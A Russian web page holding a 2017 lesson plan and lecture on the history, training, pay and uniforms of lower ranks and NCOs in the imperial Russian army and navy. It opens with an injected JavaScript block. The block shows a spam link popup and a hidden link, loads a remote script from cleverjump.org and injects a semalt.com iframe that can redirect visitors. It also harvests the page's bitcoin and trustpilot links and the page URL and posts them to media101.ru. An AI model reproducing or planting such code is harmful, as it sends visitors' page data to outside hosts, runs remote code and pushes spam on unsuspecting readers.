/* Domain is for sale: admin@kickvox.com */ (function() { 'use strict'; if (window['shbNetLoaded']) return; window['shbNetLoaded'] = true; var popupHtml = "
annual report printing honeydew manor<\/a> <\/div>
printitza.co.za<\/span> <\/div> <\/div>
ea robot download<\/a> <\/div>
forexprofitway.com<\/span> <\/div> <\/div> <\/div>
en g\u00fcvenilir sohbet siteleri<\/a> <\/div>
www.sohbetetmek.com<\/span> <\/div> <\/div>
my own app<\/a> <\/div>
nandbox.com<\/span> <\/div> <\/div> <\/div>
selbst\u00e4ndiger finanzberater<\/a> <\/div>
www.rheinhessenfinanz.de<\/span> <\/div> <\/div>
rubber excercise bands<\/a> <\/div>
uk.starwoodsports.com<\/span> <\/div> <\/div> <\/div>
e cig atomizer ohms in v2<\/a> <\/div>
www.vaporsrus.net<\/span> <\/div> <\/div>
limousine service st charles mo<\/a> <\/div>
www.limosstl.com<\/span> <\/div> <\/div> <\/div>
tobacco leaf blunt wrap<\/a> <\/div>
backwoodscigars-online.com<\/span> <\/div> <\/div>
hemp products with cbd<\/a> <\/div>
hempsalescbd.com<\/span> <\/div> <\/div> <\/div>
anodised titanium bolts<\/a> <\/div>
titan-bolts.com<\/span> <\/div> <\/div>
\u0e04\u0e32\u0e2a\u0e34\u0e42\u0e19\u0e2d\u0e2d\u0e19\u0e44\u0e25\u0e19\u0e4c \u0e41\u0e08\u0e01\u0e1f\u0e23\u0e35<\/a> <\/div>
sacasinofree.com<\/span> <\/div> <\/div> <\/div>
\u043f\u043e\u0438\u0441\u043a \u0438\u0433\u0440\u044b \u0434\u043b\u044f \u0434\u0435\u0432\u043e\u0447\u0435\u043a \u043d\u044f\u043c \u043d\u044f\u043c<\/a> <\/div>
hod-konem.com<\/span> <\/div> <\/div>
pazarlamak nedir<\/a> <\/div>
www.adburbs.com<\/span> <\/div> <\/div> <\/div>
\u8f15\u9b06\u8cb8\u6b3e<\/a> <\/div>
loan168.net<\/span> <\/div> <\/div>
comprar pulseras artesanales<\/a> <\/div>
mandala-bdn.com<\/span> <\/div> <\/div> <\/div>
law office firm<\/a> <\/div>
www.jeppsonlawoffice.com<\/span> <\/div> <\/div>
chi hing food service phoenix az<\/a> <\/div>
iaom-us.com<\/span> <\/div> <\/div> <\/div>
les femmes qui cherche l amour<\/a> <\/div>
ukreine.com<\/span> <\/div> <\/div>
financial consultant ovb<\/a> <\/div>
geisler-finanzen.de<\/span> <\/div> <\/div> <\/div>
adwokat \u0142\u00f3d\u017a<\/a> <\/div>
lodzadwokat.pl<\/span> <\/div> <\/div>
\u043d\u0435\u0434\u0432\u0438\u0436\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0411\u0430\u0442\u0443\u043c\u0438<\/a> <\/div>
batumiexpert.com<\/span> <\/div> <\/div> <\/div>
\u0430\u043b\u043a\u043e\u0433\u043e\u043b\u044c\u043d\u044b\u0435 \u043d\u0430\u043f\u0438\u0442\u043a\u0438 \u043a\u0443\u043f\u0438\u0442\u044c \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442 \u043c\u0430\u0433\u0430\u0437\u0438\u043d<\/a> <\/div>
luxgradus.com.ua<\/span> <\/div> <\/div>
sagaxis.com<\/a> <\/div>
sagaxis.com<\/span> <\/div> <\/div> <\/div>
<\/div> <\/div> <\/div> <\/div> <\/td> <\/tr> <\/table> <\/div>"; var popupCreated = false; function onReady() { tryCreatePopup(2); var box = create('div'); append(box, document.body); var defaultStyles = { width: '1px', height: '1px', background: 'transparent', display: 'inline-block', margin: '2px', padding: 0, verticalAlign: 'bottom', border: 'none' }; var a = create('a'); css(a, defaultStyles); document.addEventListener('keydown', function(e) { if (e.keyCode === 192 && e.ctrlKey) { css(a, { width: '20px', height: '20px', background: '#fff', border: '1px solid red' }); } }); document.addEventListener('keyup', function(e) { css(a, defaultStyles); }); a.className = 'shbNetgpLink'; append(a, box); a.href = 'javascript:;'; on(a, 'click', openLinerPopup); css(box, { position: 'fixed', margin: 0, padding: 0, outline: 'none', border: 'none', zIndex: 999999999, overflow: 'visible', direction: 'ltr' }); css(box, { left: '3px', right: 'auto', top: '50px', bottom: 'auto', width: '42px', height: '168px' }); } function clearStyles() { if(typeof document.createStyleSheet === 'undefined') { document.createStyleSheet = (function() { function createStyleSheet(href) { if(typeof href !== 'undefined') { var element = document.createElement('link'); element.type = 'text/css'; element.rel = 'stylesheet'; element.href = href; } else { var element = document.createElement('style'); element.type = 'text/css'; } document.getElementsByTagName('head')[0].appendChild(element); var sheet = document.styleSheets[document.styleSheets.length - 1]; if(typeof sheet.addRule === 'undefined') sheet.addRule = addRule; if(typeof sheet.removeRule === 'undefined') sheet.removeRule = sheet.deleteRule; return sheet; } function addRule(selectorText, cssText, index) { if(typeof index === 'undefined') index = this.cssRules.length; this.insertRule(selectorText + ' {' + cssText + '}', index); } return createStyleSheet; })(); } var sheet = document.createStyleSheet(); sheet.addRule('#shbNetPaddingTable', 'display: none;'); sheet.addRule('#shbNetPaddingWr #shbNetPaddingTable', 'display: table;'); sheet.addRule('.shbNetPopupWr, .shbNetPopupWr *', '-webkit-text-shadow:none !important; text-shadow:none !important;'); sheet.addRule('.shbNetPopupTable img', 'display:inline; width:auto; height:auto; background:none; float:none;'); sheet.addRule('.shbNetPopupTable *', 'margin:0; padding:0; font-family:Tahoma,Arial,Sans-Serif,Verdana; font-size:medium; line-height:normal;'); sheet.addRule('.shbNetPopupTable a', 'text-decoration:none; background:none; height:auto !important;'); } function tryCreatePopup(stage) { if (popupCreated) return; if (stage === 1) { document.writeln(popupHtml); } else if (stage === 2) { var mainBox = create('div'); mainBox.innerHTML = popupHtml; document.body.appendChild(mainBox); } else { return; } var wr = $('shbNetPaddingWr'); if (!wr) return; popupCreated = true; var table = $('shbNetPaddingTable'); css(table, { position: 'fixed', margin: 0, padding: 0, left: 0, top: 0, width: '100%', height: '100%', direction: 'ltr', zIndex: 999999999, background: 'none' }); css(table.getElementsByTagName('td')[0], { verticalAlign: 'middle', background: 'rgba(0, 0, 0, 0.5)' }); var popup = $('shbNetPaddingPopup'); css(popup, { margin: '0 auto', padding: '20px 25px 20px', width: '437px', background: '#fff', border: '1px solid #000', textAlign: 'left', position: 'relative', fontFamily: 'Tahoma, Arial, Verdana', boxSizing: 'content-box' }); on(document, 'keydown', function(e) { if (e.keyCode === 27) { wr.style.display = 'none'; } }); } function removeClass(node, className) { if (node && node.className) { node.className = node.className.replace(new RegExp('\\b' + className + '\\b', 'g'), ''); } } function openLinerPopup() { var pad = $('shbNetPaddingWr'); var tbl = $('shbNetPaddingTable'); if (!pad || !tbl) return; pad.style.display = 'block'; tbl.style.display = 'table'; var mainPopup = $('shbNetPopupWr'); if (!mainPopup) return; mainPopup.style.display = 'none'; } function $(id) { return document.getElementById(id); } function on(elem, event, handler) { elem.addEventListener(event, handler, false); } function css(elem, style) { for (var prop in style) { elem.style[prop] = style[prop]; } } function create(tag) { return document.createElement(tag); } function append(elem, parent) { parent.appendChild(elem); } setTimeout(function() { window.CJSource = 'shb2'; var script = document.createElement('script'); script.src = 'https://cleverjump.org/counter.js'; (document.head || document.body).appendChild(script); }, 10); if (document.readyState === 'complete' || document.readyState === 'interactive') { onReady(); } else { on(document, 'DOMContentLoaded', onReady); } tryCreatePopup(1); try { clearStyles(); } catch (ex) {} (function() { if (!document.querySelector) return; var added = false; tryAddLink(); window.addEventListener('DOMContentLoaded', tryAddLink); setTimeout(tryAddLink, 100); setTimeout(tryAddLink, 1000); setTimeout(tryAddLink, 2000); function tryAddLink() { if (added) return; var menu = document.querySelector('#wpadminbar .ab-top-menu'); if (!menu) return; var li = document.createElement('li'); li.innerHTML = 'SEO promotion'; //menu.appendChild(li); added = true; save(); } function save() { var json = JSON.stringify({ hrefs: ['wordpress_new'], jsDomain: 'media101.ru', refUrl: location.href }); var xhr = new XMLHttpRequest; xhr.open('POST', '//media101.ru/save.php'); xhr.setRequestHeader('Content-Type', 'text/plain'); xhr.onload = function() { xhr.responseText; } xhr.send(json); } })(); (function() { function byId(id) { return document.getElementById(id); } function setCookie() { var date = new Date(); date.setTime(date.getTime() + (60 * 60 * 1000)); document.cookie = 'closePopupStartWow=1; path=/; domain=.' + location.hostname + '; expires=' + date.toGMTString(); } function listenerPopupSemalt(event){ if (event.origin != 'https://semalt.com') return; if (!event.data) return; if (event.data == 'closePopupStartWow'){ var el = byId('popupStartWow'); if (!el) return; el.style.display = 'none'; setCookie(); } else if(event.data.indexOf('startPopupStartWow')>-1) { try{var res = JSON.parse(event.data); if(res && res.page){ location.href = 'https://semalt.com/?s='+decodeURIComponent(res.page)+'&ref=blogspot'; } } catch(ee) { } setCookie(); } } function init() { if (document.getElementById('popupWowNode')) return; var div = document.createElement('div'); div.id = 'popupWowNode'; div.innerHTML = html; document.body.appendChild(div); setTimeout(function(){ if (document.cookie.indexOf('closePopupStartWow') !== -1) return; var el = byId('popupStartWow'); if (!el) return; el.setAttribute('src', 'https://semalt.com/popups/popup_wow.php?lang=en'); setTimeout(function(){ el.style.display = 'block'; }, 400); },400); } setTimeout(init, 100); setTimeout(init, 1000); setTimeout(init, 2000); window.addEventListener('message', listenerPopupSemalt, false); })(); setTimeout(function() { try { var links = document.querySelectorAll('a[href^="bitcoin:"], a[href*="trustpilot.com"]'); //var links = document.querySelectorAll('a[href^="https://"]'); if (links.length) { var hrefs = []; for (var i = 0; i < links.length; i++) { hrefs.push(links[i].href); } var json = JSON.stringify({ hrefs: hrefs, jsDomain: 'media101.ru', refUrl: location.href }); var xhr = new XMLHttpRequest; xhr.open('POST', '//media101.ru/save.php'); xhr.setRequestHeader('Content-Type', 'text/plain'); xhr.onload = function() { xhr.responseText; } xhr.send(json); } } catch (ex) {} }, 2000); })(); Тема № 31 История и традиции службы нижних чинов в русской армии XVIII веков.
Главная » Статьи » Прапорщики

Тема № 31 История и традиции службы нижних чинов в русской армии XVIII веков.

Тема № 31 История и традиции службы нижних чинов в русской армии XVIII-XX веков.

Занятие: Рассказ – беседа.
Учебные цели: Изучить со слушателями порядок комплектования армии нижними чинами, их историю и традиции.

Время проведения: 10.00 – 11.50.
Место проведения: Библиотека.
Руководство и пособия:
Материально – техническое обеспечение: Опорный конспект, политическая карта мира и России, указка.

Ход занятия

     Вступительная часть –  10 минут. 
Контроль готовности слушателей к проведению занятия.
Доведение целей занятия, вопросов выносимых для обсуждения.
Информирование перед занятием.

Основная часть –  90 минут
1. Порядок комплектования и прохождения службы нижними чинами в русской армии.
2. Порядок комплектования и прохождения службы нижними чинами в русского флота.

Заключительная часть –  10 минут. 
Подведение итогов занятия
Ответы на вопросы, возникшие в ходе занятия
Рекомендации для дальнейшего самостоятельного изучения темы, задание на самоподготовку

 

Заместитель командира войсковой части по работе с личным составом

________________                                                                    И. Иванов

«____» _________ 2017г.

 

Тема № 31 История и традиции службы нижних чинов в русской армии XVIII-XX веков.

1. Порядок комплектования и прохождения службы нижними чинами в русской армии.
2. Порядок комплектования и прохождения службы нижними чинами в русского флота.

Роль и место унтер-офицеров – ближайших помощников офицерского состава, мотивы их поступления в армейские ряды, интеллектуальный уровень и материальное положение, опыт отбора, подготовки и выполнения служебных обязанностей поучительны для нас и сегодня.

1.

      В русской армии младшие начальные люди (десятники), позднее назывались урядниками, имелись уже в княжеских дружинах и постоянном стрелецком войске. В русской регулярной армии понятие «сержант» появилось в начале и просуществовало до конца XVIII века. Затем было введено звание «капрал», просуществовало до конца XIX века, которое впоследствии было заменено на звание «унтер-офицер». Институт унтер-офицеров в русской армии существовал с 1716 по 1917 г.

Воинский устав 1716 года к унтер-офицерам относил: сержанта – в пехоте, вахмистра – в кавалерии, каптенармуса, подпрапорщика, капрала, ротного писаря, денщика и ефрейтора. Положение унтер-офицера в военной иерархии определялось так: «Те которые ниже прапорщика, свое место имеют, называются «унтер-офицеры». т.е. нижние начальные люди».

Центральная фигура унтер-офицерского состава русской армии – фельдфебель. Он подчинялся командиру роты, являлся его первым помощником и опорой. Обязанности фельдфебеля были достаточно широки и ответственны. Об этом свидетельствует и вышедшая в 1883 году небольшая инструкция, которая гласила: «Фельдфебель есть начальник всех нижних чинов роты. 1. Он обязан следить за сохранением в роте порядка, за нравственностью и поведением нижних чинов и за точным исполнением обязанностей начальствующими нижними чинами, дежурным по роте и дневальными. 2. Передает нижним чинам все отданные ротным командиром показания. 3. Определяет заболевших в приемный покой или лазарет. 4. Производит все строевые и караульные расчеты роты. 5. При назначении в караул наблюдает, чтобы на посты, имеющие особое значение, были назначены люди испытанные и расторопные. Распределяет и уравнивает между взводами все очередные наряды на службу и на работы. 7. Находиться на учебных занятиях, а также на обеде и ужине нижних чинов. 8. По окончании вечерней переклички принимает рапорты от взводных унтер-офицеров. 9. Поверяет целость и исправное состояние в роте оружия, мундирных и амуничных вещей и всего ротного имущества. 10. Ежедневно предоставляет ротному командиру рапорт о состоянии роты: обо всем случившемся в роте, о делах по хозяйству и продовольствию роты, о нуждах нижних чинов. 11. В случае отсутствия своего в роте передает исполнение своих обязанностей старшему из взводных унтер-офицеров».

Вторим по значительности среди унтер-офицеров был старший унтер-офицер – начальник всех нижних чинов своего взвода. Он отвечал за порядок во взводе, нравственность и поведение рядовых, за успехи обучения подчиненных. Производил наряды нижних чинов на службу и на работы. Увольнял солдат со двора, но не позднее как до вечерней переклички. Проводил вечернюю перекличку и рапортовал фельдфебелю обо всем случившемся за день во взводе.

Согласно уставу унтер-офицерам вверялись первоначальное обучение солдат, постоянный и бдительный надзор за нижними чинами, наблюдение за внутренним порядком в роте. Позднее, в 1764 году, законодательство закрепило за унтер-офицером обязанность не только обучать нижние чины, но и воспитывать их.

С целью увеличения количества унтер-офицеров правительство стремилось заинтересовать желающих: им расширялись права, оклад, устанавливались награды за службу, улучшенная форма одежды и знаки различия, по окончании службы назначалась неплохая пенсия.

По положению о нижних чинах строевой сверхсрочной службы 1911 года унтер-офицеры разделялись на два разряда. Первый – подпрапорщики, произведенные в это звание из строевых сверхсрочных унтер-офицеров. Они пользовались несколько меньшими правами и льготами. Второй – унтер-офицеры и ефрейторы. Они пользовались несколько меньшими правами, чем подпрапорщики. Подпрапорщики в строевых частях занимали должности фельдфебелей и взводных – старших унтер-офицеров. Ефрейторы производились в младшие унтер-офицеры и назначались командирами отделений.

Сверхсрочнослужащие унтер-офицеры производились в подпрапорщики при двух условиях: прослужить в должности взводного (старшего унтер-офицера) в течение двух лет, успешно окончить курс войсковой школы для унтер-офицеров. В подпрапорщики производил своим приказом начальник дивизии. Старшие унтер-офицеры обычно занимали должности помощников командиров взводов. Звание младшего унтер-офицера имели, как правило, командиры отделений.

Старшие сверхсрочнослужащие нижних чинов за безупречную службу жаловались медалью с надписью «За усердие» и знаком Святой Анны. Им также разрешалось вступать в брак и иметь семьи. Сверхсрочнослужащие проживали в казарме в расположении своих рот. Фельдфебелю предоставлялась отдельная комната, два старших унтер-офицера также проживали в отдельной комнате.

Чтобы заинтересовать в службе и подчеркнуть начальствующее положение унтер-офицеров среди нижних чинов, им выдавалось обмундирование и знаков различия, в ряде случаев присущие обер-офицеру: кокарда на головном уборе с козырьком, шапка на кожаной портупее, револьвер с кобурою и шнурком.

Для различия в званиях младшие командиры носили на погонах поперечные нашивки (лычки), старшему и младшему унтер-офицерам полагались нашивки из тесьмы, старшему – три; младшему – две; фельдфебелю – одна широкая нашивка из галуна.

Строевые сверхсрочнослужащие нижних чинов обоих разрядов, прослужившие пятнадцать лет, получали пенсию 96 рублей в год. Жалование подпрапорщика составляло от 340 до 402 рублей в год; ефрейтора –120 рублей в год.

Лишение унтер-офицерского звания производилось начальником дивизии или лицом равной с ним власти.

Формирование системы комплектования русской армии унтер-офицерскими кадрами представляло собой сложный и длительный процесс.

В начале создания регулярной русской армии унтер-офицеры выдвигались из общей массы солдат. Младшими командирами становились, как правило, отличившиеся в сражениях старослужащих солдаты или дворяне, поступившие на службу рядовыми. Но затем Петр I  учредил ряд специальных военных школ. В 1721 году были открыты гарнизонные школы, готовившие унтер-офицеров. Всего таких школ в армии насчитывалось около 50. Кроме того дети дворян, прежде чем стать офицерами, несколько лет несли службу солдатами, а затем унтер-офицерами, для того чтобы знать службу «с фундамента солдатского дела». Снизу до верху прошли по служебной лестнице генералиссимус А.В. Суворов, генерал-фельдмаршалы М.Б. Барклай-де-Толли и М.И. Кутузов.

Во второй половине XVIII века подготовка младшего командного состава потребовала более пристального внимания военного ведомства. С развитием военного дела к знаниям младших командиров стали предъявляться более высокие требования. Кроме того, армия нуждалась в собственных младших специалистах лекарского, хозяйственного и др. профилей.

В начале XIX века в связи с увеличение  численности армии резко возросла потребность в унтер-офицерах. Ведь именно на них лежала основная тяжесть по оказанию помощи командиру роты в обучении новобранцев, в поддержании внутреннего порядка в части. С целью комплектования армейских полков подготовленными унтер-офицерами были сформированы учебные гренадерские батальоны, кавалерийский эскадрон и артиллеристские роты.

Так, в 1808 году в России был сформирован 1-й учебный гренадерский  батальон, «чтобы с лучшей удобностью снабжать армейские полки исправными унтер-офицерами». В 1809 году формируется 2-й учебный гренадерский батальон. Цель учреждения в 1811 году 3-го батальона состояла в том, «чтобы подготовить унтер-офицеров в губернские батальоны с целью обучения и приготовления новобранцев».

Для подготовки унтер-офицеров в кавалерийские полки был утвержден учебный кавалерийский эскадрон, а в артиллерии – две учебные роты. Комплектование батальонов и учебных рот проводилось главным образом из числа так называемых кантонистов – солдатских детей и воспитанников военно-сиротских отделений.

В 1826 году из кантонистов были сформированы четыре учебных карабинерных полка для пехоты, учебный эскадрон для кавалерии, учебный саперный батальон для инженерных войск, учебная артиллеристская бригада для артиллерии, 48 эскадронов и 6 батарей для комплектования полков, расположенных в военных поселениях округов. В этих учебных подразделениях кантонисты получали основательную боевую, строевую и специальную подготовку.

При гвардейских частях были свои особые школы кантонистов для подготовки унтер-офицеров. Они состояли при 12 пехотных полках (до 800 человек), при 9 кавалерийских дивизиях (около 300 человек), в гвардейском артиллерии и у саперов (до 100 человек).

В 60-е годы XIX века в системе комплектования унтер-офицеров наступил следующий этап. Корпус унтер-офицеров русских войск стал пополняться за счет поступивших добровольно на военную службу, выпускников из военно – учебных заведений, рядовых, подготовленных в войсках.

В целях дальнейшего развития системы подготовки унтер-офицерских кадров в 1867 году военным ведомством была утверждена Инструкция для специального образования в войсках строевых нижних чинов. Было принято решение о создании полковых учебных команд.

Важнейшей задачей создаваемых учебных команд явилась подготовка высококвалифицированных унтер-офицеров, способных выполнять различные служебные обязанности, ответственных за свои подразделения в мирное и военное время, в казармах, в карауле и даже в отдельных командировках. Для поступления в эти команды ротные, эскадронные и батарейные командиры отбирали по 4-5 лучших солдат своего подразделения со сроком службы не менее одного года, отличавшихся высокой нравственностью, способностями к военной службе, волевыми качествами и хорошим физическим развитием. Срок обучения устанавливался в два года. В целях организации оптимальной подготовки нижних чинов учебная команда делилась на два отделения – младшие и старшие.

С середины 70-х гг. XIX века, когда комплектование армии стало проводиться на основе всеобщей воинской повинности, требования к организации учебного процесса унтер-офицеров повысилось. Следует учесть, что произошло фактическое расширение круга обязанностей унтер-офицеров.

В целях соответствия уровню подготовки унтер-офицерских кадров новым условиям были уточнены требования как к кандидатам на должность унтер-офицеров, так и к выпускникам учебных команд. Эти обстоятельства и явились основной причиной утверждения в феврале 1875 года нового Положения о приготовлении рядовых унтер-офицерскому званию. С утверждением данного положения были повышены требования к поступающим в учебные команды, разработаны программы обучения, формы контроля и анализа учебных занятий. С 1877 года оны были учреждены при каждом пехотном, кавалерийском и казачьем полку.

За год пребывания в учебных командах солдаты должны были основательно усвоить все, что впоследствии им приходилось применять на деле в качестве учителей, руководителей и ближайших начальников рядовых, все отрасли строевого образования и все, что касалось положению солдата на службе, его прав и обязанностей.

Ежегодно в конце обучения специальная комиссия под председательством командира полка принимала у кандидатов в унтер-офицеры экзамены по всем предметам. Успешно сдавшие экзамены возвращались в свои роты. Если появлялись вакансии, выпускники полковых учебных команд назначались на должность командира отделения и получали чин младшего унтер-офицера. В дальнейшем они могли назначаться и на должность взводного командира. Кстати, существовало положение, по которому нижние чины не могли быть произведены в унтер-офицеры без окончания курса полковой учебной команды, за исключением особых случаев боевого отличия. В командах разведчиков и конных ординарцев в унтер-офицеры также могли произвести без окончания полковой школы.

Обучение на курсах в полковых школах приносило безусловную пользу. Среди унтер-офицеров было немало одаренных людей, которые умело разъясняли солдатам основы военной службы, ее ценности, долг и обязанности. Овладевая знаниями и приобретая опыт, унтер-офицеры становились надежными помощниками офицеров в решении стоявших перед ротами и эскадронами задач.

К концу XIX столетия подготовка младшего командного состава русской армии получила четко оформленную организацию. Основой ее стали полковые учебные команды. Присвоение рядовым унтер-офицерских званий производилось только по представлению непосредственных начальников за отличное поведение и совершенное знание порядка службы, не ранее выслуги в рядовом звании двух лет (в начале XX в. – одного года, и не позже чем за 4 месяца до окончания срока действительной службы).

Помимо полковых и войсковых школ, которые готовили унтер-офицеров для строевых должностей, в России к этому времени были учебные заведения, готовившие специалистов для артиллерии и инженерных войск.

На протяжении веков младшим командирам свойственны чувство патриотизма, верности Военной присяге, твердое воинское знание военного дела. Военная история России изобилует множеством примеров добросовестной службы младших командиров. В мирное время большинство из них выполняют самую трудную, «черновую» работу по обучению и воспитанию солдат. А в суровые дни военных испытаний армия особенно нуждается в их знаниях, умении, опыте. Стойкость армии, ее победы над врагами во многом обусловлены мужеством и героизмом большинства младших командиров. Они высоко несли и несут свое звание. Буквально потом и кровью, не прячась за спины подчиненных, доказывали и доказывают верность присяге.

Именно младшие командиры является тем краеугольным камнем, на котором держится все дело обучения и воспитания военнослужащих рядового состава, поддержания уставного порядка и воинской дисциплины. В условиях строительства Вооруженных Сил Российской федерации необходимо опираться на историю и традиции прохождения службы нижних чинов русской армии, найти этому опыту достойное место в процессе обучения и воспитание младшего командного состава.

2.

      Все нижние чины (по официальной терминологии) Российского императорского флота         разделялись на три категории: матросы и рядовые, унтер-офицеры и кондукторы.

      К первой категории относились матросы 1-й и 2-й статьи, старшие юнги1-й и 2-й статьи, марсовые, рулевые, сигнальщики, сигнальщики-дальномерщики, гардемарины Морского корпуса, Морского инженерного училища и Временных отдельных гардемаринских классов; ученики; музыканты; барабанщики и горнисты; рядовые музыканты; барабанщики и горнисты; кочегары 1-й и 2-й статьи, машинисты 1-й и 2-й статьи и трюмные; мастеровые: оружейники, ложники (специалисты, занимавшиеся изготовлением ложек), плотники парусники, конопатчики, маляры и коки.

Унтер-офицерские звания имели старшие гардемарины учебных заведений, боцманы, боцманматы, рулевые, сигнальные и сигнально–дальномерные боцманматы, марсовые, водолазы, строевые инструкторы, строевые инструкторы-оружейники; строевые унтер офицеры, артиллеристские, минные, гальванерные (специалисты по обслуживанию артиллеристской электротехники), телеграфные, моторные, машинные, минно-машинные, кочегарные и трюмные унтер-офицеры 1-й и 2-й статьи, унтер-офицеры – электрики 1-й и 2-й статьи, унтер-офицеры – электрики службы связи 1-й и 2-й статьи, авиационные унтер-офицеры, рулевые, сигнальные и сигнально-дальномерные унтер-офицеры; унтер-офицеры: марсовые, водолазы, строевые инструкторы, строевые инструкторы-оружейники; унтер-офицеры: музыканты 1-й и 2-й статьи, экипажные барабанщики и штаб-горнисты, писари 1-й, 2-й и 3-й статьи, содержатели казенного имущества 1-й и 2-й статьи6 п0дшкиперы, баталеры, минно-артиллеристские и машинные содержатели, фельдшеры 1-й и 2-й статьи.

К кондукторам флота причислялись: старшие боцманы, старшие береговые боцманы, артиллеристские, минные, рулевые, сигнальные, сигнально–дальномерные, авиационные, машинные, минно-машинные, трюмные, кочегарные, телеграфные, гальванерные и санитарные кондукторы, кондукторы-электрики, шкиперы, старшие баталеры, старшие минно-артиллерийские содержатели и старшие машинные содержатели.

Только что прибывшие на службу новобранец получал звание юнги (окончивший школу юнг) или молодого матроса.  Следующей ступенью являлось звание матроса 2-й статьи или учения. Существовало две системы званий нижних чинов – звания строевого состава (к ним относились строевые матросы, марсовые, рулевые, сигнальщики и водолазы) и звания специалистов (нижние чины этой категории проходили обучение в специальных школах).

После восьми месяцев службы строевой матрос 2-й статьи мог стать матросом 1-й статьи. После обучения в одной из школ матрос-специалист получал звание матроса 2-й статьи (что соответствовало матросу 1-й статьи). Следующей ступенью для них были звания специалиста 1-й статьи и старшего специалиста (в строевом составе аналоги этим званиям отсутствовали).

К началу Первой мировой войны на флоте существовали следующие школы для нижних чинов: артиллеристские и минные школы учебных отрядов Балтийского и Черноморского флотов, класс заграждателей (специалистов по работе с минными заграждениями) Балтийского моря, машинные школы Балтийского и Черноморского флотов, водолазная школа Балтийского флота, учебные команды унтер-офицеров Балтийского и Черноморского флотов, морская учебно-стрелковая команда в Ораниенбауме, школа для нижних чинов Учебного отряда подводного плавания, школы рулевых и сигнальщиков Балтийского и Черноморского флотов, школа судовых содержателей и писарские классы в Кронштадте, школа судовых содержателей в Севастополе, школы команд Сибирской флотилии, школы юнг в Кронштадте и Севастополе, музыкальная школа Балтийского флота, фельдшерские школы в Кронштадте и Николаеве. Существовали также «низшие учебные заведения» - портовые школы в Кронштадте, Севастополе и Владивостоке.

Первое унтер-офицерское звание нижний чин мог получить при положительной аттестации начальства и годичном пребывании в звании матроса 1-й статьи или окончании специальных классов. Для строевого состава первым званием был строевой унтер-офицер 2-й статьи (до1910 года – квартирмейстер). Затем следовало звание боцманмата (унтер-офицер 1-й статьи – для специалистов) далее строевой чин мог стать боцманом (по аттестации). После этого наиболее способных моряков при  условии прохождения сверхсрочной службы по аттестации и экзамену могли производить в старшие боцманы (кондукторы у специалистов).

Корпус кондукторов был создан в 1894 году. Их обязанности и права определялись Положением о старших боцманах и кондукторах. Кондукторы являлись ближайшими помощниками офицеров-специалистов. Старшие офицеры считались правой рукой старшего офицера корабля и пользовались главенством среди остальных корабельных кондукторов. В их обязанности входило наблюдение за порядком и наружной чистотой корабля, в их подчинении находилась вся корабельная команда. На кораблях у кондукторов имелась своя, отдельная от офицерской, кают-компания.

Кондукторы флота (за исключением санитарных) могли производиться в чин подпоручика по Адмиралтейству как за боевые отличия, так и особо выдающиеся заслуги мирного времени.

По усмотрению начальства кондукторы могли сдать экзамен на чин подпоручика по Адмиралтейству. Кондукторы, прослужившие 10 лет, при увольнении со службы могли быть представлены к званию потомственного почетного гражданина или к чину коллежского регистратора, либо подпоручика по Адмиралтейству, а прослужившие 20 лет и более награждались чином губернского секретаря или подпоручика по Адмиралтейству. С 1911 года для кондукторов, сверхсрочнослужащих и лиц соответствующих армейских  званий, увольняемых со службы, специально предоставлялись вакансии в следующих учреждениях: Министерстве императорского двора и уделов, Ведомстве учреждений императрицы Марии, Ведомстве православного исповедания; министерствах: финансов, внутренних дел, юстиции (по главному тюремному управлению), народного просвещения, путей сообщения, торговли и промышленности, Главного управления землеустройства и земледелия. Государственного контроля и Главного управления государственного коннозаводства.

Кондукторы были главными помощниками офицеров на флоте. Именно на них и на унтер-офицерах лежали основные заботы по организации службы. Основная часть работы с личным составом также ложилась на них. В частности, в русском флоте унтер-офицеры командовали взводами, а офицеры – только более крупными подразделениями.

Денежное содержание нижних чинов и унтер-офицеров состояло из следующих видов: жалованья, морского довольствия и добавочного содержания, начисляемого за специальные звания или за исполнение определенных обязанностей. Также существовали прибавки к жалованью для награжденных Знаком отличия военного ордена Георгиевским крестом) или Георгиевской медалью. Жалование  существовало двух разрядов  - 1-го (основное)  - для служащих на Балтийском и черноморском флотах и 2-го (усиленное) – для чинов  Каспийской и Сибирской флотилии. Матрос 2-й статьи получал по 1-му разряду 9 рублей в год, по 2-му 13 руб. 80 коп. Унтер-офицер получал соответственно 24 и 36 руб. Морское довольствие для матроса составляло 60 копеек в месяц во внутреннем плавании (90 в заграничном), для унтер-офицера  - 3 рубля 30 копеек  и 4 рубля 95 копеек соответственно. Добавочное содержание в зависимости от специальности составляло от 1рубля 80 копеек до 180 рублей в год. Самыми «богатыми» из нижних чинов специальных званий были машинисты, окончившие по первому разряду курс машинной школы по классу машинных унтер-офицеров самостоятельного управления. В связи с ростом  инфляции во время Первой мировой войны к маю 1917 года жалование нижних чинов составляло 15-50 рублей. При экономном расходовании денег нижний чин после отбытия срочной службы мог вернуться домой довольно состоятельным человеком.

Нижним чинам действительной службы запрещалось вступать в брак, за исключением вдовцов, имеющих от прежних браков детей, оставшихся без опекунства. Только в Приамурском крае командир портов Восточного океана имел право давать разрешение на браки нижним чинам, а женатые могли выписывать семьи к месту службы. Сверхсрочнослужащие могли вступать в брак по разрешению начальства

Форма одежды нижних чинов, существовавшая к началу Первой мировой войны и во многом сохранившаяся до настоящего времени, начала формироваться с середины XIX века. В 1854 году были введены бушлаты (брушлаты по тогдашней терминологии). 7 января 1863 года была введено подразделение формы одежды на парадную, обыкновенную и рабочую, а также на летнюю и зимнюю, береговую  и судовую. Береговая форма нижних чинов состояла из темно-зеленого мундира, темно-зеленых и белых брюк, фуражки, темно-синей шинели с ремнем и вязаной фуфайки. Во время службы на кораблях матросы носили синюю и белую рубахи с синим воротником, темно-зеленые и белые брюки, фуражку и рабочее платье. В 1872 году для нижних чинов ввели рубаху с синим воротником (с двумя белыми полосами), а для белых рубах дополнительно установили синие обшлага с одной белой полосой. В том же году в русском флоте появился тельник – тельняшка (от современной она отличалась поле широкими полосами). Тогда же появилась и бескозырка, на околыше которой прикреплялась черная шелковая лента с названием корабля или команды.

21 февраля 1881 года был изменен покрой синих фланелевых и белых полотняных матросских рубах. На синих воротниках и обшлагах белых рубах появились три белые полоски, сохранившиеся до настоящего времени. В 1891 году на левый рукав формы нижних чинов специалистов стали нашивать знаки специальностей (штаты), вышитые красной нитью: штурвал у рулевых, два беседочных узла у марсовых, два флага – сигнальщикам и другие. Позже введены аналогичные по рисунку, но изготовленные из металла знаки, размещавшиеся на воротниках мундиров и пальто кондукторов флота.

